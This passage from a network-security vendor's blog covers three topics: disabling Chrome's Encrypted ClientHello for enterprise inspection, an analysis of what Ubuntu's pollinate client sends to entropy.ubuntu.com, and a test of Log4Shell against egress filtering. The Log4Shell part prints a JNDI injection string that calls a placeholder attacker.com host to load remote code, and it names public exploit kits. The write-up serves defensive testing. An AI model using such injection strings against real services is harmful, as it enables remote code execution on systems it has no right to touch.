|3 |3000 | |10 days |n |407 |https://www.notion.so/ | |Google Trust Services|WE1 |http://c.pki.goog/we1/FARePxy0M2M.crl |346 |1 |3000 | |10 days |n |354 |https://www.sciencedirect.com/ | |Google Trust Services|WE1 |http://c.pki.goog/we1/OhMZjmT1BfY.crl |527 |6 |3000 | |10 days |? |490 |https://www.hubspot.com/ | |DigiCert Inc |DigiCert SHA2 High Assurance Server CA |http://crl3.digicert.com/sha2-ha-server-g6.crl |4172 |88 |7200 | |7 days |n |2803 |https://www.facebook.com/ | |DigiCert Inc |DigiCert SHA2 High Assurance Server CA |http://crl4.digicert.com/sha2-ha-server-g6.crl |4172 |88 |7200 | |7 days |n |2803 |https://www.facebook.com/ | |DigiCert Inc |DigiCert Global G2 TLS RSA SHA256 2020 CA1 |http://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl |11978628 |331613 |7200 | |7 days |n |6777256 |https://x.com/ | |DigiCert Inc |DigiCert Global G2 TLS RSA SHA256 2020 CA1 |http://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl |11978628 |331613 |7200 | |7 days |n |6777256 |https://x.com/ | |DigiCert Inc |DigiCert TLS Hybrid ECC SHA384 2020 CA1 |http://crl3.digicert.com/DigiCertTLSHybridECCSHA3842020CA1-1.crl |5027 |97 |7200 | |7 days |n |2729 |https://www.wikipedia.org/ | |DigiCert Inc |DigiCert TLS Hybrid ECC SHA384 2020 CA1 |http://crl4.digicert.com/DigiCertTLSHybridECCSHA3842020CA1-1.crl |5027 |97 |7200 | |7 days |n |2729 |https://www.wikipedia.org/ | |DigiCert Inc |DigiCert TLS RSA SHA256 2020 CA1 |http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl |2243019 |63316 |7200 | |7 days |n |1262022 |https://www.reddit.com/ | |DigiCert Inc |DigiCert TLS RSA SHA256 2020 CA1 |http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl |2243019 |63316 |7200 | |7 days |n |1262022 |https://www.reddit.com/ | |DigiCert Inc |RapidSSL ECC CA 2018 |http://cdp.rapidssl.com/RapidSSLECCCA2018.crl |793 |14 |7200 | |7 days |n |699 |https://www.tiktok.com/explore | |DigiCert Inc |DigiCert Global CA G2 |http://crl3.digicert.com/DigiCertGlobalCAG2.crl |11096 |270 |7200 | |7 days |n |6906 |https://www.amazon.com/ | |DigiCert Inc |DigiCert Global CA G2 |http://crl4.digicert.com/DigiCertGlobalCAG2.crl |11096 |270 |7200 | |7 days |n |6906 |https://www.amazon.com/ | |DigiCert Inc |DigiCert SHA2 Secure Server CA |http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl |9503275 |271422 |7200 | |7 days |n |5532533 |https://www.linkedin.com/ | |DigiCert Inc |DigiCert SHA2 Secure Server CA |http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl |9503275 |271422 |7200 | |7 days |n |5532533 |https://www.linkedin.com/ | |DigiCert Inc |DigiCert Secure Site ECC CA-1 |http://crl3.digicert.com/DigiCertSecureSiteECCCA-1.crl |2608 |66 |7200 | |7 days |n |1888 |https://www.netflix.com/gb/ | |DigiCert Inc |DigiCert Secure Site ECC CA-1 |http://crl4.digicert.com/DigiCertSecureSiteECCCA-1.crl |2608 |66 |7200 | |7 days |n |1888 |https://www.netflix.com/gb/ | |DigiCert Inc |GeoTrust TLS RSA CA G1 |http://cdp.geotrust.com/GeoTrustTLSRSACAG1.crl |1320449 |36690 |7200 | |7 days |n |784105 |https://www.binance.com/en-GB | |DigiCert Inc |GeoTrust RSA CA 2018 |http://cdp.geotrust.com/GeoTrustRSACA2018.crl |8686 |192 |7200 | |7 days |n |5210 |https://www.samsung.com/uk/ | |DigiCert Inc |DigiCert SHA2 Extended Validation Server CA |http://crl3.digicert.com/sha2-ev-server-g3.crl |445824 |11510 |7200 | |7 days |n |233542 |https://www.paypal.com/uk/home | |DigiCert Inc |DigiCert SHA2 Extended Validation Server CA |http://crl4.digicert.com/sha2-ev-server-g3.crl |445824 |11510 |7200 | |7 days |n |233542 |https://www.paypal.com/uk/home | |DigiCert Inc |Thawte RSA CA 2018 |http://cdp.thawte.com/ThawteRSACA2018.crl |5184 |116 |7200 | |7 days |n |3367 |https://www.nytimes.com/ | |DigiCert Inc |DigiCert Global G3 TLS ECC SHA384 2020 CA1 |http://crl3.digicert.com/DigiCertGlobalG3TLSECCSHA3842020CA1-2.crl |17144 |389 |7200 | |7 days |n |9584 |https://cambridge.craigslist.org/ | |DigiCert Inc |DigiCert Global G3 TLS ECC SHA384 2020 CA1 |http://crl4.digicert.com/DigiCertGlobalG3TLSECCSHA3842020CA1-2.crl |17144 |389 |7200 | |7 days |n |9584 |https://cambridge.craigslist.org/ | |DigiCert Inc |DigiCert EV RSA CA G2 |http://crl3.digicert.com/DigiCertEVRSACAG2.crl |665536 |16305 |7200 | |7 days |n |335230 |https://www.wellsfargo.com/ | |DigiCert Inc |DigiCert EV RSA CA G2 |http://crl4.digicert.com/DigiCertEVRSACAG2.crl |665536 |16305 |7200 | |7 days |n |335230 |https://www.wellsfargo.com/ | |Sectigo Limited |Sectigo RSA Organization Validation Secure Server CA|http://crl.sectigo.com/SectigoRSAOrganizationValidationSecureServerCA.crl |2959076 |81170 |3600 | |7 days |n |1703270 |https://www.ebay.com/ | |GlobalSign nv-sa |GlobalSign Atlas R3 DV TLS CA 2024 Q1 |http://crl.globalsign.com/ca/gsatlasr3dvtlsca2024q1.crl |358832 |10237 |3600 | |7 days |n |212997 |https://www.forbes.com/ | |GlobalSign nv-sa |GlobalSign RSA OV SSL CA 2018 |http://crl.globalsign.com/gsrsaovsslca2018.crl |143299 |4284 |3600 | |7 days |n |76738 |https://www.gov.uk/ | |GlobalSign nv-sa |GlobalSign GCC R3 DV TLS CA 2020 |http://crl.globalsign.com/gsgccr3dvtlsca2020.crl |50256 |1559 |3600 | |7 days |n |28419 |https://soundcloud.com/ | |GlobalSign nv-sa |GlobalSign Atlas R3 DV TLS CA 2023 Q4 |http://crl.globalsign.com/ca/gsatlasr3dvtlsca2023q4.crl |365412 |10399 |3600 | |7 days |n |216810 |https://www.theguardian.com/uk | |GlobalSign nv-sa |GlobalSign Atlas R3 DV TLS CA 2024 Q2 |http://crl.globalsign.com/ca/gsatlasr3dvtlsca2024q2.crl |85279 |2422 |3600 | |7 days |n |52582 |https://www.twitch.tv/ | |GlobalSign nv-sa |GlobalSign Atlas R3 DV TLS CA 2024 Q3 |http://crl.globalsign.com/ca/gsatlasr3dvtlsca2024q3.crl |12133 |333 |3600 | |7 days |n |7636 |https://edition.cnn.com/ | |GlobalSign nv-sa |GlobalSign ECC OV SSL CA 2018 |http://crl.globalsign.com/gseccovsslca2018.crl |1305 |29 |3600 | |7 days |n |982 |https://www.bbc.co.uk/ | |GlobalSign nv-sa |AlphaSSL CA - SHA256 - G4 |http://crl.globalsign.com/alphasslcasha256g4.crl |33509 |1033 |3600 | |7 days |n |19047 |https://www.researchgate.net/ | |GoDaddy.com, Inc. |Go Daddy Secure Certificate Authority - G2 |http://crl.godaddy.com/gdig2s1-8229.crl |141209 |3392 |- |2 days |7 days |n |49050 |https://telegram.org/ | |GoDaddy.com, Inc. |Go Daddy Secure Certificate Authority - G2 |http://crl.godaddy.com/gdig2s1-14080.crl |24374 |569 |- |2 days |7 days |n |7736 |https://archive.org/ | |Microsoft Corporation|Microsoft Azure RSA TLS Issuing CA 07 |http://www.microsoft.com/pkiops/crl/Microsoft%20Azure%20RSA%20TLS%20Issuing%20CA%2007.crl|7389 |127 |- |- |8 days |n |3190 |https://www.microsoft.com/en-gb/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook| |Microsoft Corporation|Microsoft Azure RSA TLS Issuing CA 08 |http://www.microsoft.com/pkiops/crl/Microsoft%20Azure%20RSA%20TLS%20Issuing%20CA%2008.crl|4737 |76 |- |- |8 days |n |2266 |https://www.office.com/ | |Microsoft Corporation|Microsoft Azure ECC TLS Issuing CA 04 |http://www.microsoft.com/pkiops/crl/Microsoft%20Azure%20ECC%20TLS%20Issuing%20CA%2004.crl|363 |0 |- |- |8 days |n |353 |https://www.bing.com/ | |Apple Inc. |Apple Public EV Server RSA CA 2 - G1 |http://crl.apple.com/apevsrsa2g1.crl |973 |14 |3600 | |7 days |n |886 |https://www.apple.com/ | |Certainly |Certainly Intermediate R1 |- | | | | | | | |https://open.spotify.com/ | |Entrust, Inc. |Entrust Certification Authority - L1M |http://crl.entrust.net/level1m.crl |1604629 |36824 |- |- |7 days |n |856211 |https://www.chase.com/ | |Entrust, Inc. |Entrust Certification Authority - L1K |http://crl.entrust.net/level1k.crl |3309031 |79411 |- |- |7 days |n |1901158 |https://www.espn.co.uk/ | |COMODO CA Limited |COMODO ECC Organization Validation Secure Server CA |http://crl.comodoca.com/COMODOECCOrganizationValidationSecureServerCA.crl |91641 |2569 |3600 | |7 days |n |56594 |https://www.ups.com/gb/en/Home.page | > † Our new CRL URLs will be disclosed only in CCADB, so that the Apple and Mozilla root programs can consume them without exposing them to potentially large download traffic from the rest of the internet at large. Source: https://letsencrypt.org/2022/09/07/new-life-for-crls.html ## Observations _Work In Progress. Please follow these threads on social media for updates in the time being._ [Discuss on Hacker News](https://news.ycombinator.com/item?id=41058138) | [Discuss on Reddit](https://www.reddit.com/r/letsencrypt/comments/1eb4hjj/an_analysis_of_certificate_revocation_list_crl/) | [Discuss on Twitter](https://x.com/ChaserSystems/status/1816135435263041698) | [Discuss on LinkedIn](https://www.linkedin.com/feed/update/urn:li:share:7221901179734110208/) | [Discuss on Mastodon](https://infosec.exchange/@ChaserSystems/112842204197583213) --- ## Disabling Encrypted ClientHello in Google Chrome, and Why _Last updated: June 16, 2024_ In cases where inspection of domain names in TLS connections is acceptable and desirable (such as in enterprise environments), TLS Encrypted ClientHello in Google Chrome can be disabled. ## PowerShell tl;dr ```powershell $PATH = "HKLM:\\Software\Policies\Google\Chrome\" $NAME = "EncryptedClientHelloEnabled" if (-not(Test-Path $PATH)) {New-Item -Path $PATH -Force} New-ItemProperty -Path $PATH -Name $NAME -Value 0x0 -Force ``` ## What is ClientHello ClientHello is a TLS handshake step initiated by a client for a TLS connection to a server. It contains Server Name Indication (SNI) besides Application-Layer Protocol Negotiation (ALPN), etcetera, in plaintext – so the receiving server can serve up the correct server certificate (on an otherwise shared IP address) and route the request to the most suited backend. In the world before _Encrypted_ ClientHello, transit encryption has not begun until this point. ## What is Encrypted ClientHello Conceived initially as Encrypted SNI (ESNI), its scope was to mask the SNI alone. SNI leaks the target domain for a client-initiated connection, in plaintext, to all parties that may be snooping on the wire. Encrypted ClientHello (ECH) extends the concept to most parameters in a ClientHello. One of its uses is "to prevent censors from learning the server names". The paper [_On the Importance of Encrypted-SNI (ESNI) to Censorship Circumvention_](https://www.usenix.org/conference/foci19/presentation/chai) (2019) studies the implications of ECH for censorship. The IETF standard for ECH is still in draft and at [version 17](https://www.ietf.org/archive/id/draft-ietf-tls-esni-17.html) at the time of writing. The side-effect of masking the target domain is that any _transparent_ middle-boxes, firewalls, IDS, IPS and the like will no longer have visibility of domain names in outbound connections. This could impact the quality of logging and the effectiveness of network controls. It is not expected that ECH will have a similar effect on connection-terminating inspection solutions such as proxies and firewalls with TLS decryption configured and the CA certificates of those distributed to the clients' trust stores. ## Disabling ECH from Chrome UI (v105 - v121) Google Chrome [announced their intent](https://groups.google.com/a/chromium.org/g/blink-dev/c/CmlXjQeNWDI/m/hx-_4lNBAQAJ) (Sep 11, 2023) to switch on ECH by default from v117 onwards. This has impacted some of our customers using [DiscrimiNAT](/discriminat/) to either monitor or control outbound traffic from cloud-based workstations with Chrome installed as the browser. In cases where inspection of domain names in TLS connections is acceptable and desirable, ECH can be disabled by visiting `chrome://flags` in Google Chrome and searching for `Encrypted ClientHello` or by simply visiting `chrome://flags/#encrypted-client-hello` instead and setting the property to `Disabled`. ![](img/chrome-encrypted-clienthello-01.png) ## Disabling ECH from Chrome policies (v122+) A file with the following contents should be present under `/etc/opt/chrome/policies/managed/` on a Mac/Linux system. ``` { "EncryptedClientHelloEnabled": false } ``` This file location for policies is documented [here](https://support.google.com/chrome/a/answer/9027408), and the policy `EncryptedClientHelloEnabled` itself [here](https://chromeenterprise.google/policies/#EncryptedClientHelloEnabled). The effect of the policy can be observed then at the URL `chrome://policy/` within Chrome. ## Disabling ECH using PowerShell Under Windows, Registry location `Software\Policies\Google\Chrome\EncryptedClientHelloEnabled` should be set to `0x0`. This location [is documented](https://chromeenterprise.google/policies/#EncryptedClientHelloEnabled) under the _EncryptedClientHelloEnabled_ policy for Google Chrome Enterprise. A handy PowerShell script to create the path if it does not exist and then force update the key name (whether or not it exists prior) is as follows: ```powershell $PATH = "HKLM:\\Software\Policies\Google\Chrome\" $NAME = "EncryptedClientHelloEnabled" if (-not(Test-Path $PATH)) {New-Item -Path $PATH -Force} New-ItemProperty -Path $PATH -Name $NAME -Value 0x0 -Force ``` ## Headless Chrome in Containers You may be running something like, if not, Selenium for headless tests in a continuous integration pipeline, the outbound traffic for which is filtered via DiscrimiNAT. To disable ECH in a container, the Mac/Linux instructions above need to be applied inside the container. This can be achieved: - either by mounting a file, say `ech-disabled.json` (with the following content), stored under a directory called `chrome-managed-policies` in the current working directory, at `/etc/opt/chrome/policies/managed/` inside the container ``` { "EncryptedClientHelloEnabled": false } ``` ``` docker run --volume "./chrome-managed-policies/:/etc/opt/chrome/policies/managed/" selenium/standalone-chrome:125.0 ``` - or by building a new container image. An example `Dockerfile` would look like ``` FROM selenium/standalone-chrome:125.0 COPY chrome-managed-policies/ /etc/opt/chrome/policies/managed/ ``` Do [get in touch](/support/) if you need support with any of these. ## DiscrimiNAT's behaviour with ECH Since the release of DiscrimiNAT v2 in November 2020, we've built in the detection of ESNI/ECH use and prevented the egressing of such traffic altogether – even if an explicit rule to allow the domain name exists. This is because, as a transparent inspection device, DiscrimiNAT cannot decrypt an encrypted TLS extension and ensure that it contains an allowed destination address. DiscrimiNAT also ignores the outer, unencrypted SNI if an _inner_, encrypted SNI is set too. This is a known method of evading firewalls that may only be satisfied with the presence of an allowed domain name in the _outer_, unencrypted SNI. For more information on this, see [defo.ie](https://defo.ie/ech-check.php) or [tls-ech.dev](https://tls-ech.dev/) and [our comparison page](/discriminat/comparison/aws-network-firewall/). The flow log message `reason` field for denying traffic with ECH set will contain the phrase `ech was found`. An example of such a log message from `discriminat-flow` is: ```json { "outcome": "disallowed", "proto_v": "1.3", "reason": "ech was found", "spt": 50083, "dhost": "mail.google.com", "dst": "74.125.69.18", "proto": "tls", "cat": "client", "dpt": 443, "instance": "discriminat-tiger-phf7", "src": "192.168.101.7" } ``` Also note that a Layer 3 check, that is, if the client is connecting to a legitimate IP address for the presented domain name, is carried out after the presence of ECH check; therefore, if both checks had to fail, the message `ech was found` will take precedence. [Discuss on Hacker News](https://news.ycombinator.com/item?id=37823262) | [Discuss on Reddit](https://www.reddit.com/r/chrome/comments/173yflx/disabling_encrypted_clienthello_in_google_chrome/) | [Discuss on Twitter](https://x.com/ChaserSystems/status/1711442738896310723) | [Discuss on LinkedIn](https://www.linkedin.com/feed/update/urn:li:activity:7117207704271482880/) | [Discuss on Mastodon](https://infosec.exchange/@ChaserSystems/111206369515157665) --- ## entropy.ubuntu.com giveth, and taketh away :::note learning A closer look at what data is sent to entropy.ubuntu.com on Cloud instance boot ::: ## Routine Test At Chaser, we routinely test a variety of real-world setups through the [DiscrimiNAT OTF](/discriminat/). It helps keep on top of implementation subtleties by different vendors and identify any regressions early as we improve the product. FQDN filter for Ubuntu on GCP egress, shall we? So we fire up Ubuntu Bionic Beaver LTS this time, with egress allowed to `0.0.0.0/0` on all ports. :::info These observations were made on deploying a _Ubuntu 18.04 LTS Minimal_ VM with image name _ubuntu-minimal-1804-bionic-v20201123_ in the _europe-west2_ region of Google Cloud. ::: ## Flow Logs As was expected, some amount of internet-bound traffic, but nowhere near as much as [Windows was trying](/blog/windows-server-2019-phoning-home-on-an-sslv3-line). ![StackDriver DiscrimiNAT flow log](img/feature.png) `entropy.ubuntu.com`...? Is it what at first glance it appears to be? If it is indeed getting more entropy for us from somebody else's Cloud, was it needed? Many more questions pop into our head, but we suppress them for now by deciding to have a look at what it's all about. We [create a bastion](/docs/discriminat/gcp/ssh-bastion) and log in. ``` joe@my-app:~$ ``` As soon as we log in, the OS tries to reach out to the internet again. `api.snapcraft.io` continues to nag, but with the suppression of `changelogs.ubuntu.com` we might have missed a welcome message on log on. ![StackDriver changelogs.ubuntu.com](img/ubuntu-entropy-02.png) With some basic web search, we find out it's the `pollinate` client in Ubuntu – the package of which creates a user account and installs a SystemD service. The man page is reasonably well-documented, so we decide to give it a go in manual, interactive mode. But first, we allow this FQDN through DiscrimiNAT. ![GCP Firewall Rule Details](img/ubuntu-entropy-03.png) We stick in `discriminat:tls:entropy.ubuntu.com` in the description field of the associated firewall rule. More on that syntax [here](/docs/discriminat/gcp/config-ref). ## Manual Run ``` joe@my-app:~$ sudo su - pollinate -s /bin/bash pollinate@my-app:~$ pollinate --testing --device - > /tmp/rand pollinate@my-app:~$ ls -lh /tmp/rand -rw-r--r-- 1 pollinate daemon 64 Nov 30 20:04 /tmp/rand ``` Hooray! We have 64 bytes of random data. `pollinate` itself appears to be a shell script, which calls `curl` under the hood and feeds in these 64 bytes to `/dev/urandom` thereby enriching a system's entropy from a truly external source. Have we deprived our server of entropy? Have we deprived our server of good quality entropy? We decide to dig in a bit deeper and begin by leveraging the aptly-named `--curl-opts` argument to `pollinate`. ``` pollinate@my-app:~$ pollinate --curl-opts "--trace-ascii /tmp/curl-trace.txt" <13>Nov 30 20:01:11 pollinate[1998]: client sent challenge to [https://entropy.ubuntu.com/] <13>Nov 30 20:01:11 pollinate[1998]: client verified challenge/response with [https://entropy.ubuntu.com/] <13>Nov 30 20:01:11 pollinate[1998]: client hashed response from [https://entropy.ubuntu.com/] <13>Nov 30 20:01:11 pollinate[1998]: client successfully seeded [/dev/urandom] pollinate@my-app:~$ cat /tmp/curl-trace.txt ... 20:01:11.942345 => Send header, 397 bytes (0x18d) 0000: POST / HTTP/1.1 0011: Host: entropy.ubuntu.com 002b: User-Agent: cloud-init/20.3-2-g371b392c-0ubuntu1~18.04.1 curl/7. 006b: 58.0-2ubuntu3.10 pollinate/4.33-0ubuntu1~18.04.1 Ubuntu/18.04.5/ 00ab: LTS GNU/Linux/5.4.0-1029-gcp/x86_64 Intel(R)/Xeon(R)/CPU/@/2.20G 00eb: Hz uptime/494.84/962.80 virt/kvm img/build_name/minimal img/seri 012b: al/20201123 0138: Accept: */* 0145: Content-Length: 138 015a: Content-Type: application/x-www-form-urlencoded 018b: 20:01:11.942374 => Send data, 138 bytes (0x8a) 0000: challenge=b93b56beff9f684f44302a3d6f79fdfe606f77e66aac7b7a4f59f9 0040: 2353948e779879315531688f88571eb8c9325950fc2b48b3949c392b9d9b8e05 0080: 3084121e40 20:01:11.942397 == Info: upload completely sent off: 138 out of 138 bytes ... ``` Whoa! The `User-Agent` seems a bit loaded. We run `pollinate` again with its handy `--print-user-agent` option. ``` pollinate@my-app:~$ pollinate --print-user-agent cloud-init/20.3-2-g371b392c-0ubuntu1~18.04.1 curl/7.58.0-2ubuntu3.10 pollinate/4.33-0ubuntu1~18.04.1 Ubuntu/18.04.5/LTS GNU/Linux/5.4.0-1029-gcp/x86_64 Intel(R)/Xeon(R)/CPU/@/2.20GHz uptime/783.01/1537.80 virt/kvm img/build_name/minimal img/serial/20201123 ``` ## Closer Look Let's look at each of the data individually: `cloud-init/20.3-2-g371b392c-0ubuntu1~18.04.1` – Version numbers of a certain package most likely. `curl/7.58.0-2ubuntu3.10` – Definitely the version of `curl` used. `pollinate/4.33-0ubuntu1~18.04.1` – Version of `pollinate` itself. `Ubuntu/18.04.5/LTS` – OS major and minor version. `GNU/Linux/5.4.0-1029-gcp/x86_64` – Kernel. `Intel(R)/Xeon(R)/CPU/@/2.20GHz` – The platform CPU this was run from. `uptime/783.01/1537.80` – The first number is elapsed uptime in seconds; the second number is idle time summed up across all cores in the elapsed uptime. `virt/kvm` – The virtualisation as detected. `img/build_name/minimal` – Ubuntu-specific build name. `img/serial/20201123` – Ubuntu-specific build number. There's definitely enough data in there to pinpoint the patch level of the OS (and time since the last reboot). Coupled with the source IP, it can be traced to a particular region of the particular Cloud. Can the IP address lead to identifying the organisation or related forward DNS zones? Not straightforward or always possible, but has happened in the past. Digging into some commit history of the source code, there are some tell-tale signs of how these fields can be useful on the server-side. > \# Construct a user agent, with useful debug information > \# Very similar to Firefox and Chrome [link](https://git.launchpad.net/pollinate/tree/pollinate?h=4.33-0ubuntu1#n187) 🤨 Sure. If you say so. > add uptime/idletime to user agent to help detect abuse, LP: #1638552 [link](https://git.launchpad.net/pollinate/commit/?id=09118aaf0e23956f2b30321e085cbd6fba8c487e) 🤨 [LP #1638552](https://bugs.launchpad.net/ubuntu/+source/pollinate/+bug/1638552) doesn't go into much detail of what and how. Perhaps because of the “This bug affects 1 person” note. > Ubuntu minimal images include build_name as 'minimal', so the > stated reason for not including 'server' is now invalid. [link](https://git.launchpad.net/pollinate/commit/?id=31ffd43943a124cf9226d47e9b12661662ca513b) 🤨 TBH we weren't expecting `pollinate` and `snapd` to be in the minimal image at all, but okay. > Additionally, we collect up data in /etc/cloud/build.info. This info > can be used to see how often images are refreshed or if an image is > an official ubuntu image. [link](https://git.launchpad.net/pollinate/commit/?id=e7e9693d1a738e93e68bcbe3e6dca75332f27ce2) 🤨 Seems like we've progressed from just getting some fresh, quality entropy. The domain of entropy for Linux is not devoid of bugs and controversies: - The first one that comes to mind is the infamous [SystemD bug with AMD CPUs](https://github.com/systemd/systemd/issues/11810) - To [trust CPU Random Number Generators or not was diverted to Distros](https://www.phoronix.com/news/Linux-Kernel-Q-HW-RNGs) - [Linux To Better Protect Entropy Sent In From User-Space](https://www.phoronix.com/news/Linux-Protect-User-Entropy) looks like it can alleviate the risk from accepting this source of entropy that we are looking at. We also know from [this bug report](https://bugzilla.redhat.com/show_bug.cgi?id=1572944) that low entropy can stall a system pretty early on in the boot process. `pollinate.service` comes in pretty late since it needs outbound network connectivity at least. It is before the SSH service though that may need to generate its keys the first time around. ``` joe@my-app:~$ cat /lib/systemd/system/pollinate.service [Unit] Description=Pollinate to seed the pseudo random number generator Before=ssh.service After=network-online.target ConditionVirtualization=!container ConditionPathExists=!/var/cache/pollinate/seeded [Service] User=pollinate ExecStart=/usr/bin/pollinate Type=oneshot [Install] WantedBy=multi-user.target ``` `Description` feels a bit lacking. The concerns around `entropy.ubuntu.com` have been discussed on the internet before. The most succinct summary, from our search, lies in the email thread [\[Cryptography\] Security of Ubuntu RNG pollinate?](https://www.metzdowd.com/pipermail/cryptography/2016-November/030869.html) from 2016. We decide to give it a go without it. ## Without It ``` joe@my-app:~$ sudo apt-get purge pollinate snapd ubuntu-release-upgrader-core ``` An image properly sealed with all due care and private key material wiped off comes up just fine and in the usual amount of time. We even seem to have a decent level of entropy at hand, ``` joe@my-app:~$ cat /proc/sys/kernel/random/entropy_avail 1157 ``` And the flow logs are quite quiet. ## Questions Remain There remains a question about the quality of entropy. There are tests designed to test the quality of random numbers, and perhaps at a hackathon, we'll run those repeatedly for an entire weekend. There is also the question about all that data in the `User-Agent` header. Is all of it really necessary for monitoring and debugging the service? We hope you enjoyed this Stackdriver and Linux exercise, armed now with the knowledge that a [modern firewall](/discriminat) can prevent a lot of undesirable behaviour emanating from programs we trust to run in the Cloud. Do watch our [2-minute demo](/discriminat/gcp/demo) on how DiscrimiNAT integrates with Firewall Rules on Google Cloud. --- **Edit 1:** User [jlgaddis](https://news.ycombinator.com/user?id=jlgaddis) from Hacker News shared their thoughts on `motd.ubuntu.com` (another host Ubuntu instances contact every now and then), in a discussion around the SolarWinds supply chain issue and its C2 channels [here](https://news.ycombinator.com/item?id=25425890). **Edit 2:** User [sgorf](https://www.reddit.com/user/sgorf/) from Reddit pointed to an [FAQ from 2014](https://blog.dustinkirkland.com/2014/02/random-seeds-in-ubuntu-1404-lts-cloud.html) on the matter, written by [Dustin Kirkland](https://www.linkedin.com/in/dustinkirkland/), in a thread [here](https://www.reddit.com/r/Ubuntu/comments/ke7jo0/entropyubuntucom_giveth_and_taketh_away/). --- [Discuss on Hacker News](https://news.ycombinator.com/item?id=25346991) | [Discuss on Reddit](https://www.reddit.com/r/Ubuntu/comments/ke7jo0/entropyubuntucom_giveth_and_taketh_away/) | [Discuss on Twitter](https://x.com/ChaserSystems/status/1338891905422274561) | [Discuss on LinkedIn](https://www.linkedin.com/feed/update/urn:li:activity:6742114850207608833) --- ## Log4Shell and its traces in a network egress filter :::note learning Test driving the Log4Shell vulnerability with various versions of Java and observing the network egress connections ::: ## Log4Shell in a nutshell ➟ An attacker is able to conduct a completely unauthenticated **R**emote **C**ode **E**xecution on a publicly-exposed service. ➟ If a JVM-based service (Java, Scala, etc.) is using the log4j logging library (very popular), the service is vulnerable. ➟ A patched version of the log4j library, version 2.**15**.0, that fixes this issue was released on 06 Dec 2021. ➟ log4j 2.**16**.0 was released at 13 Dec 22:28 with the following note: > Removed Message Lookups. This is a hardening related to changes made to prevent CVE-2021-44228. While this change is recommended, it is NOT required to fix CVE-2021-44228. Source: https://lists.apache.org/thread/d6v4r6nosxysyq9rvnr779336yf0woz4 ### Detailed walkthrough An attacker sends a specially crafted request to an exposed service on the Internet. This request only needs to guess which parts of the request are likely to be logged by the receiving service – regardless of being successful or not. A common one is the `User-Agent` attribute of any request that is logged on the receiving server. Another one is an HTTP header such as `Api-Key`. The targeted element of the request contains _code_ to be evaluated by the receiving service. This is the heart of the matter. This code has to follow some constraints but within those constraints is the opportunity to load more, constraint-free code, from another remote server into the targeted server. Fastly's [Digging deeper into Log4Shell](https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) post breaks this down into two phases with a helpful diagram, which is also displayed below. ![image credit: fastly.com](https://www.fastly.com/cimages/6pk8mg3yh2ee/6ROIUWShnnGIkZRx4JjhQY/d422eb627eca1edac19fef63d2d6a075/flow.png) Image Credit: [Fastly](https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) **Phase 1:** By injecting code along the lines of `${jndi:ldap://attacker.com/a}`, the targeted, vulnerable server will request `attacker.com` at path `/a`, speaking the `ldap` protocol, for more code to load. **Phase 2:** The `ldap` response suggests the vulnerable server, that has reached out, to load the code from another given URL, `http://attacker.com` in the diagram above. :::info The vulnerable server initiates the request to load more code. ::: If the vulnerable server has unfiltered access to the Internet, it will be able to make those requests successfully. This is the usual case with Cloud deployments. **We put to test the effectiveness of filtered access to the Internet, aka egress controls, against this vulnerability.** ## Test setup with log4j, Log4Shell PoC and egress controls ✅ A vulnerable server is deployed in AWS. This is a deployment of the [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) PoC from GitHub. ✅ A malicious instruction-delivery LDAP server, along with a payload-delivery HTTP server, is deployed with use of ~~[feihong-cs/JNDIExploit](https://github.com/feihong-cs/JNDIExploit)~~**\*** from GitHub. It's a convenient self-contained package for this purpose. _pro tip: most attackers are using this to start off with, so take a good look at the various paths (patterns) in the README._ **\*** EDIT: 13-Dec 20:23 [feihong-cs/JNDIExploit](https://github.com/feihong-cs/JNDIExploit) has disappeared. [pimps/JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit) seems like a stronger replacement. ✅ An instance of [DiscrimiNAT OTF](/discriminat/) is placed on the outbound route to the Internet of the vulnerable server. It is configured to run in the [`see-thru` mode](/docs/discriminat/aws/config-ref#see-thru-mode) (monitoring only, non-blocking) so we can observe the full flow of the two phases in the logs sent to CloudWatch. The _christophetd/log4shell-vulnerable-app_ PoC [defaults to Java version 8u181](https://github.com/christophetd/log4shell-vulnerable-app/blob/080e9849faa140354bace3517c0fd072b39fbfa1/Dockerfile#L7) as of writing this post. This is important to raise because there was an important fix in 8u191. ### Impacted Java versions (8u121, 8u191, etc.) :::caution We are aware that even the newer versions of Java are susceptible to a full RCE. We will be updating this article soon with observations on that. ::: There is some chatter on the Internet about how JNDI would not load remote classes from version 8u121 onwards anyway, and that this was further tightened up from version 8u191. The [release notes of 8u121](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) seem to confirm: > Improved protection for JNDI remote class loading We decided to put this to test and found that to some extent, both of those versions, and even the most recent versions, are impacted. What differs is how far the RCE is able to go. ### Test with 8u181 `8u181 > 8u121` & `8u181 < 8u191` ![](img/log4shell_jdk_8u181.png) Screenshot of CloudWatch logs generated by DiscrimiNAT Phase 1 and Phase 2 can be seen in the egress logs. Phase 1 was the connection from the vulnerable server to the LDAP server on destination port 1389; Phase 2 was the connection to the HTTP server for pulling the payload from on destination port 8080. ![](img/pwned.png) The directory listing from within the container running the vulnerable server confirms, with the presence of a file named `pwned`, that arbitrary code load from a remote server was indeed executed. ### Test with 8u191 :::caution We are aware that even this version of Java is susceptible to a full RCE. We will be updating this article soon with observations on that. ::: `8u191 >= 8u191` We patch the PoC to upgrade the version of Java from 8u181 to 8u191 for this test. ```diff - FROM openjdk:8u181-jdk-alpine + FROM openjdk:8u191-jdk-alpine ``` ![](img/log4shell_jdk_8u191.png) Phase 1 can be seen in the egress logs still. **But there is no Phase 2.** ![](img/not-pwned.png) Since malicious code was never loaded, there are no telltale signs of it having run in the container. However, the attacker was able to make the server initiate some request. This request can be made to reveal more information about and from the server, as we will touch upon in the [What remains](#what-remains) section below. **The path element of this initially requested URL affords a lot of room for bits of juicy information.** :::info These are being commonly referred to as **log4shell pingbacks**. ::: ### Test with `latest` We also tested with the `latest` JDK container image from the `eclipse-temurin` project. For reference, it returned the version string as follows: ``` openjdk version 